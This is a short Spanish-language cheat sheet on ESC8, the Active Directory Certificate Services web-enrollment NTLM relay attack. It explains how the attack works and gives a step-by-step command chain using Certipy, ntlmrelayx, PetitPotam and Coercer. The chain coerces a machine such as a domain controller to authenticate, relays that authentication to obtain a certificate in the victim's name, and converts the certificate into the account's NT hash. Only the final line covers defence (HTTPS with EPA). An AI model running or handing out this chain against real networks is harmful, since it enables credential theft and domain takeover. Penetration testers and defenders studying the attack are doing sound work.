Qué es
ESC8 encadena coerción de autenticación con relay NTLM. Convierte a una máquina de la red en un certificado de dominio que el atacante controla. No hace falta robar ni adivinar ninguna contraseña para empezar.
Cómo funciona
El endpoint de inscripción web de AD CS acepta NTLM sobre HTTP. HTTP no firma la autenticación NTLM, así que una autenticación capturada por SMB se puede reenviar a ese endpoint. El atacante fuerza a un equipo (a menudo un DC) a autenticarse contra él con MS-EFSRPC o MS-RPRN. Reenvía esa autenticación al endpoint y pide un certificado a nombre de la víctima. El certificado sirve para PKINIT y sigue siendo válido aunque cambie la contraseña.
Comandos
Enumerar AD CS y confirmar ESC8:
certipy find -u <USER>@<DOMAIN> -p <PASSWORD> -dc-ip <IP> -vulnerable -stdoutLevantar el relay hacia el endpoint de inscripción web:
ntlmrelayx.py -t http://<HOST>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>Plantillas típicas: Machine para equipos, DomainController para DCs.
Forzar la autenticación del objetivo hacia el relay (coerción con MS-EFSRPC):
petitpotam.py -u <USER> -p <PASSWORD> -d <DOMAIN> <LISTENER-IP> <TARGET-IP>Alternativa de coerción con Coercer (cubre varios protocolos, incluido MS-RPRN):
coercer coerce -u <USER> -p <PASSWORD> -d <DOMAIN> -l <LISTENER-IP> -t <TARGET-IP>Relay en una sola herramienta con Certipy:
certipy relay -target http://<HOST> -template <TEMPLATE>Convertir el certificado (.pfx) en el hash NT de la cuenta:
certipy auth -pfx <FILE> -dc-ip <IP>Cómo defenderse
Fuerza HTTPS con Extended Protection for Authentication (EPA) en el endpoint de inscripción: corta el relay en origen.